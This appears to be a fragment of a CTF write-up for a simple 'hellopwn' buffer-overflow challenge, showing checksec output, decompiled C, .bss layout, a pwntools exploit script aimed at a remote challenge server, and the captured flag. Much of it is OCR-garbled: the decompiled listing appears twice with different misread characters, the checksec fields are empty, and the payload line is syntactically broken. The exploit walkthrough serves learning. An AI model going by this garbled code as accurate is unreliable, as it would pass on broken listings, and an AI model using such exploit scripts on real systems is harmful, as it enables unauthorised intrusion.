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checksec:

root@at-ubuntu:/home/atfwus/rop# checksec hellopwn
[*] '/home/atfwus/rop/hellopwn’

Arch: amd64-64-little

RELRO:

Stack:

NX:

PIE:
root@at-ubuntu:/home/atfwus/rop# |
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1| int64 _ fastcall main(__int64 al, char **a2, char **a3)
S{ alarm(@x3Cu);
4| setbuf(stdout, 6LL);
5| puts("~~ welcome to ctf ~~ ");
6| puts("lets get helloworld for bof");
7| read(®, &unk_601668, exleulLl);
8| if ( dword_601@6C == 1853186481 )
9 sub_4808686();
18| return 6LL;
11}
1| _inte4 _ fastcall main(__inte4 al, char **a2, char **a3)
2
3| alarm(@x3Cu);
4| setbuf(stdout, eLL);
5| puts("~~ welcome to ctf ~~ ");
6| puts("lets get helloworld for bof");
7| read(®@, &unk_601068, ©x1euLL);
8| if ( dword_60106C == 1853186401 )
9 sub_400686();
18| return ©LL;
11[}
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.bss :0000000000601048, unk 601068 dbo 2 ;
.bss:@0000000000601069 b ?;
.bss:000000000060106A - db ?;
.bss:0000000000601068 / b ?;
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dword_6e1e6C dd ?
_bss ends
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0x02.exp

##!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",44362)
#r=process('./hellopwn')

payload=4*"'A'+p64(1853186401)

r.recvuntil("bof")
r.sendline(payload)

r.interactive()

root@at-ubuntu:/home/atfwus/rop# python exphellopwn.py
[+] Opening connection to 111.198.29.45 on port 44362: Done
[*] Switching to interactive mode

yberpeace{d3all5ledd9ca28dcbh3438306b0Ob145f}
[*] Got EOF while reading in interactive
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